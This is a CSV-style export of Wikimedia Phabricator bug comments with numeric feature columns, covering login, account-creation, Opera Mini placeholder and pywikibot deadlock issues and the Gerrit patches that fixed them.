+312797,login when already logged in gets exception from Special:CentralLogin,*** Bug 69947 has been marked as a duplicate of this bug. ***,,,1409023424,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-vwqwxdop2rianj5hnvof,task_subcomment,,True,c3,1,True,,,-45,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+312790,login when already logged in gets exception from Special:CentralLogin,Bug 69947 might be a dup?,,,1408976689,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-vwqwxdop2rianj5hnvof,task_subcomment,,True,c3,1,True,,,-45,True,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0
+312783,login when already logged in gets exception from Special:CentralLogin,"(In reply to spage from comment #0)
+> As I recall, visiting Special:UserLogin while logged in on mediawiki.org a
+> week or so ago would just redirect me to the main page (not ideal but better
+> than an exception); but now I'm getting the same Internal error exception
+> except the production cluster truncates it to a pink ""[7ed77f38] 2014-08-21
+> 08:02:15: Fatal exception of type MWException"".
+
+If i go to https://www.mediawiki.org/wiki/Special:UserLogin i will be redirected to the main page? No exception there (but in other projects, like en.wiki)
+
+On betalabs i get redirected to main page, too.",,,1408953428,,PHID-USER-c5xwrfdyp3dckkh2nkoj,False,,,PHID-TASK-vwqwxdop2rianj5hnvof,task_subcomment,,True,c3,1,True,,,-45,True,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,1,0,1,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,1,0,1,1,1,1,0,1
+312777,login when already logged in gets exception from Special:CentralLogin,"A white screen of death on the login page is more than normal priority, even if it only happens when you're already logged in.
+
+(In reply to spage from comment #0)
+> As I recall, visiting Special:UserLogin while logged in on mediawiki.org a
+> week or so ago would just redirect me to the main page (not ideal but better
+> than an exception);
+
+This is the new expected behavior.  Specifically, it redirects you to the returnto, and the main page is the default returnto if another one is not specified in the query string.
+
+(In reply to Andre Klapper from comment #1)
+> It is pretty confusing when you go to
+> https://en.wikipedia.org/wiki/Special:UserLogin?useNew=1 (being already
+> logged in) and all you get is ""[d1aecbd5] 2014-08-23 15:16:17: Fatal
+> exception of type MWException"" on a white page.
+
+Just to avoid confusion, useNew was temporary and removed quite a while ago (except for some outdated qqq that crept back in; I just uploaded a patch to fix).  It has no effect and is unrelated to this bug.
+
+(In reply to Kunal Mehta (Legoktm) from comment #2)
+> I think this was caused by Idd9325374cb5dc13c4c057f45f88a33bdff523a9. There
+> have been no CA changes related to this except my patch changing the fatal
+> into a MWException (I2488e1fd3109ce66c2cb42d9afc78097f2b7313d).
+
+If S is right that it redirected to the main page before in WMF production (""As I recall..."") that indicates the bad CentralAuth interaction is more recent.  I personally can't confirm this, so I don't remember if I tested this behavior in production.",,,1408940117,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-vwqwxdop2rianj5hnvof,task_subcomment,,True,c3,1,True,,,-45,True,1,0,0,1,1,1,1,0,0,1,1,1,0,1,1,1,0,1,1,0,1,0,1,0,1,0,0,0,0,1,1,1,1,1,1,1,0,0,1,0,1,0,0,1,1,1,0,1,0,1,1,1,0,1,0,1,1,1,1,1,1,1,0,1,0,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,1,1,1,1,1,1,0,1
+312771,login when already logged in gets exception from Special:CentralLogin,I think this was caused by Idd9325374cb5dc13c4c057f45f88a33bdff523a9. There have been no CA changes related to this except my patch changing the fatal into a MWException (I2488e1fd3109ce66c2cb42d9afc78097f2b7313d).,,,1408912561,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-vwqwxdop2rianj5hnvof,task_subcomment,,True,c3,1,True,,,-45,True,0,0,0,1,0,1,1,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,1,1,1,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+312765,login when already logged in gets exception from Special:CentralLogin,"It is pretty confusing when you go to https://en.wikipedia.org/wiki/Special:UserLogin?useNew=1 (being already logged in) and all you get is ""[d1aecbd5] 2014-08-23 15:16:17: Fatal exception of type MWException"" on a white page.
+
+Raising priority.",,,1408807087,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-vwqwxdop2rianj5hnvof,task_subcomment,,True,c3,1,True,,,-45,True,1,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,0,0,1
+71781,"makecat uses http on import, causing deadlock","makecat has its main loop at the module level, rather than in a function main() like other scripts.
+
+This causes a deadlock in handleArgs while trying to fetch the live API version.
+
+--------------------------
+**Version**: core-(2.0)
+**Severity**: major",High,80.0,1408533120,1433586605.0,PHID-USER-oxd6f6xemkuyttw7z7wl,False,PHID-USER-oxd6f6xemkuyttw7z7wl,False,PHID-TASK-am4fb4bq6udsbq2kbgva,task_description,resolved,True,c3,1,True,True,True,-46,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+470262,"makecat uses http on import, causing deadlock","Change 216407 merged by jenkins-bot:
+Deadlock problem fixed by using requests
+
+[[https://gerrit.wikimedia.org/r/216407]]",,,1433595926,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-am4fb4bq6udsbq2kbgva,task_subcomment,,True,c3,1,False,,,-4,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1
+470242,"makecat uses http on import, causing deadlock","The problem was the sequence of actions used to set up the threads and such. @valhallasw had a very nice graph of the `import` sequence which shows how the deadlock occurs, which I stumble across occasionally but can never find when I want it. :/
+
+Putting code in main() means all imports complete before __main__ starts. ",,,1433589326,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-am4fb4bq6udsbq2kbgva,task_subcomment,,True,c3,1,True,,,-4,True,1,0,1,0,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,1,1,0,0,1,1,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,1,1,1,1,1,1,1,1,0,1,0,0,1,0,0,0,1,1,1,0,0,1,1,0,1,1,0,1,0,0,0
+470234,"makecat uses http on import, causing deadlock",How does having it not in main() cause a deadlock?,,,1433586814,,PHID-USER-7fndkemmavweiht5ybfd,False,,,PHID-TASK-am4fb4bq6udsbq2kbgva,task_subcomment,,True,c3,1,True,,,-4,True,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,1,0,1,0,0,1,0,1,1,0,1,0,0,0
+470232,"makecat uses http on import, causing deadlock","The makecat problem has indirectly been fixed by T98439.  The problem still exists on the 2.0 branch, and T87742 tracks the problem occurring in calling code.",,,1433586580,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-am4fb4bq6udsbq2kbgva,task_subcomment,,True,c3,1,True,,,-4,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+470229,"makecat uses http on import, causing deadlock","Change 216407 had a related patch set uploaded (by John Vandenberg):
+Deadlock problem fixed by using requests
+
+[[https://gerrit.wikimedia.org/r/216407]]
+",,,1433585595,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-am4fb4bq6udsbq2kbgva,task_subcomment,,True,c3,1,False,,,-4,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,1
+310398,"makecat uses http on import, causing deadlock","Change 155231 had a related patch set uploaded by John Vandenberg:
+Add main() to makecat
+
+https://gerrit.wikimedia.org/r/155231",,,1408534067,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-am4fb4bq6udsbq2kbgva,task_subcomment,,True,c3,1,False,,,-46,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+71199,Create account doesn't work if $wgGLreplaceMWLogin is true,"Comes from: https://www.mediawiki.org/wiki/User_talk:Florianschmidtwelzow#Continous_Redirect
+
+If $wgGLreplaceMWLogin is true the user will be redirected to the Create an account page if he tries to create an account without any error message.
+
+--------------------------
+**Version**: master
+**Severity**: critical",High,80.0,1407354180,1407354901.0,PHID-USER-c5xwrfdyp3dckkh2nkoj,False,,False,PHID-TASK-biuqbdnvxueues3s6zgc,task_description,resolved,True,c3,1,True,False,True,-48,True,1,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,1,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,1,0,0,0,0,0
+319208,Create account doesn't work if $wgGLreplaceMWLogin is true,"Change 152169 merged by jenkins-bot:
+Fix no session set when replaceMWLogin is true
+
+https://gerrit.wikimedia.org/r/152169",,,1407354830,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-biuqbdnvxueues3s6zgc,task_subcomment,,True,c3,1,False,,,-48,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0
+319202,Create account doesn't work if $wgGLreplaceMWLogin is true,"Change 152171 merged by jenkins-bot:
+Fix no session set when replaceMWLogin is true
+
+https://gerrit.wikimedia.org/r/152171",,,1407354818,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-biuqbdnvxueues3s6zgc,task_subcomment,,True,c3,1,False,,,-48,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0
+319194,Create account doesn't work if $wgGLreplaceMWLogin is true,"Change 152171 had a related patch set uploaded by Florianschmidtwelzow:
+Fix no session set when replaceMWLogin is true
+
+https://gerrit.wikimedia.org/r/152171",,,1407354731,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-biuqbdnvxueues3s6zgc,task_subcomment,,True,c3,1,False,,,-48,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,1,1,0,0,0,0,0
+319187,Create account doesn't work if $wgGLreplaceMWLogin is true,"Change 152169 had a related patch set uploaded by Florianschmidtwelzow:
+Fix no session set when replaceMWLogin is true
+
+https://gerrit.wikimedia.org/r/152169",,,1407354706,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-biuqbdnvxueues3s6zgc,task_subcomment,,True,c3,1,False,,,-48,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,1,1,0,0,0,0,0
+319180,Create account doesn't work if $wgGLreplaceMWLogin is true,"Change 152167 merged by jenkins-bot:
+Fix no session set when replaceMWLogin is true
+
+https://gerrit.wikimedia.org/r/152167",,,1407354697,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-biuqbdnvxueues3s6zgc,task_subcomment,,True,c3,1,False,,,-48,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0
+319175,Create account doesn't work if $wgGLreplaceMWLogin is true,"Change 152167 had a related patch set uploaded by Florianschmidtwelzow:
+Fix no session set when replaceMWLogin is true
+
+https://gerrit.wikimedia.org/r/152167",,,1407354576,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-biuqbdnvxueues3s6zgc,task_subcomment,,True,c3,1,False,,,-48,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,1,1,0,0,0,0,0
+70758,No placeholders on account creation or login forms in Opera Mini,"Navigate to Login on Opera Mini browser – you'll see two blank fields that don't indicate where to enter your username or password. From there, navigate to create account and it's even worse – no indication of where to enter username, password, email, or CAPTCHA. Effectively, this makes creating an account impossible, and login also quite difficult.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1406575440,1441323177.0,PHID-USER-yu5wnmvkjecufsjgh2fa,False,PHID-USER-5dwuaigmkz2vzg65lape,False,PHID-TASK-6e64mwgcaaotvl7uxxjv,task_description,resolved,True,c3,1,True,False,True,-49,True,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,1,0,1,0,0,0,0,1,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,1,1,1,0,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0
+520740,No placeholders on account creation or login forms in Opera Mini,"Oh wait. I can see placeholders on Opera Mini 7.6.40234 and Opera mini 8
+Since the bug doesn't specify a version I'm going to call this closed given that if a browser doesn't support placeholder it m supports media queries
+
+I assume this relates to an older version of Opera Mini which also doesn't support media queries.
+Based on the fact IE7 looks like this and considering my comment at https://phabricator.wikimedia.org/T70758#719543 calling this done:
+{F2538607}",,,1441323177,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-6e64mwgcaaotvl7uxxjv,task_subcomment,,True,c3,3,True,,,9,True,0,0,0,0,1,1,0,0,0,1,0,1,0,0,0,1,0,1,1,0,1,0,1,1,0,0,0,0,1,0,1,1,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,0,0,1,1,1,1,0,1,1,0,0
+520731,No placeholders on account creation or login forms in Opera Mini,Annoyingly not quite fixed. On it.,,,1441322272,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-6e64mwgcaaotvl7uxxjv,task_subcomment,,True,c3,3,True,,,9,True,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+520663,No placeholders on account creation or login forms in Opera Mini,"Change 231146 merged by jenkins-bot:
+Use core login form
+
+[[https://gerrit.wikimedia.org/r/231146]]",,,1441316635,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-6e64mwgcaaotvl7uxxjv,task_subcomment,,True,c3,3,False,,,9,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+520653,No placeholders on account creation or login forms in Opera Mini,"I'm not sure, if the merged change does solve this task, can anyone test? :)",,,1441316178,,PHID-USER-c5xwrfdyp3dckkh2nkoj,False,,,PHID-TASK-6e64mwgcaaotvl7uxxjv,task_subcomment,,True,c3,3,True,,,9,True,0,1,0,0,1,1,0,0,0,1,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,1,0,0,1,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0
+507053,No placeholders on account creation or login forms in Opera Mini,"Change 231146 had a related patch set uploaded (by Jdlrobson):
+Use core login form
+
+[[https://gerrit.wikimedia.org/r/231146]]
+",,,1439419395,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-6e64mwgcaaotvl7uxxjv,task_subcomment,,True,c3,3,False,,,5,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+336922,No placeholders on account creation or login forms in Opera Mini,#Mobile-Web,,,1417807792,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-6e64mwgcaaotvl7uxxjv,task_subcomment,,True,c3,1,True,,,-30,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+311281,No placeholders on account creation or login forms in Opera Mini,New login form in alpha solves this issues. Need to get these changes into stable.,,,1413927848,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-6e64mwgcaaotvl7uxxjv,task_subcomment,,True,c3,1,True,,,-37,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+311273,No placeholders on account creation or login forms in Opera Mini,"Change 165634 merged by jenkins-bot:
+Use desktop login/account creation form in alpha
+
+https://gerrit.wikimedia.org/r/165634",,,1413917748,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-6e64mwgcaaotvl7uxxjv,task_subcomment,,True,c3,1,False,,,-37,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+311268,No placeholders on account creation or login forms in Opera Mini,"Change 165634 had a related patch set uploaded by Florianschmidtwelzow:
+Use desktop login/account creation form in alpha
+
+https://gerrit.wikimedia.org/r/165634",,,1413213200,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-6e64mwgcaaotvl7uxxjv,task_subcomment,,True,c3,1,False,,,-38,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+311265,No placeholders on account creation or login forms in Opera Mini,"https://gerrit.wikimedia.org/r/165634 will take care of this if it was to move to stable.
+
+I think we need to kill our custom login code.",,,1412804658,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-6e64mwgcaaotvl7uxxjv,task_subcomment,,True,c3,1,True,,,-39,True,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,0,0,1,0,1,0,0,0,1,0,0,0,0,1,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,0
+311261,No placeholders on account creation or login forms in Opera Mini,"**bingle-admin** wrote:
+
+Prioritization and scheduling of this bug is tracked on Trello card https://trello.com/c/uyLAu4Q2",,,1412798416,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-6e64mwgcaaotvl7uxxjv,task_subcomment,,True,c3,1,False,,,-39,True,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+311259,No placeholders on account creation or login forms in Opera Mini,Opera Mini 5-7 doesn't support placeholders or media queries. I'd suggest adding labels and using a media query to hide them.,,,1412798296,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-6e64mwgcaaotvl7uxxjv,task_subcomment,,True,c3,1,True,,,-39,True,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,1,1,0,0,0
+311256,No placeholders on account creation or login forms in Opera Mini,There was a bug about placeholder support in opera mini for search overlay that got won't fixed. Good reasons in that bug where ever it might be about why we shouldn't build JS fallbacks (Also opera mini doesn't run our JS at all although we may want to revisit this),,,1406595351,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-6e64mwgcaaotvl7uxxjv,task_subcomment,,True,c3,1,True,,,-49,True,1,0,0,0,1,1,1,0,1,0,1,1,0,0,1,1,0,1,1,0,1,1,0,0,1,0,0,0,1,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0
+311253,No placeholders on account creation or login forms in Opera Mini,This is because Opera Mini is the only browser that doesn't support the 'placeholder' attribute. Should we build a fallback just for Opera Mini?,,,1406577408,,PHID-USER-a5pveeqqwaddgfjiv2fq,False,,,PHID-TASK-6e64mwgcaaotvl7uxxjv,task_subcomment,,True,c3,1,False,,,-49,True,0,0,0,0,1,1,1,1,0,0,0,1,0,1,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,1,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,0,1,1,0,0,0,0,0
+311250,No placeholders on account creation or login forms in Opera Mini,"**bingle-admin** wrote:
+
+Prioritization and scheduling of this bug is tracked on Trello card https://trello.com/c/jt1O10K2",,,1406575523,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-6e64mwgcaaotvl7uxxjv,task_subcomment,,True,c3,1,False,,,-49,True,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+70044,"Cannot login to Betalabs , showing Login error:Wikipedia uses cookies to log in users. You have cookies disabled. Please enable them and try again.","Screenshot
+
+I cannot login to Betalabs, it is showing the following error even though I have cookies enabled:
+
+Login error 
+Wikipedia uses cookies to log in users. You have cookies disabled. Please enable them and try again.
+
+--------------------------
+**Version**: wmf-deployment
+**Severity**: normal
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=63981
+
+**Attached**: {F14355}",High,80.0,1405445400,1405446771.0,PHID-USER-24djtv3gj5gua2y6u2g5,False,,False,PHID-TASK-2ecu5hkbxnpywwzogogj,task_description,resolved,True,c3,1,False,False,True,-51,True,0,0,0,0,1,1,0,0,1,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,1,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,1,0,0,1,1,0,0,0
+314120,"Cannot login to Betalabs , showing Login error:Wikipedia uses cookies to log in users. You have cookies disabled. Please enable them and try again.","Thanks Ori, yes it's working now .",,,1405447343,,PHID-USER-24djtv3gj5gua2y6u2g5,False,,,PHID-TASK-2ecu5hkbxnpywwzogogj,task_subcomment,,True,c3,1,False,,,-51,True,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,1,0,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,0
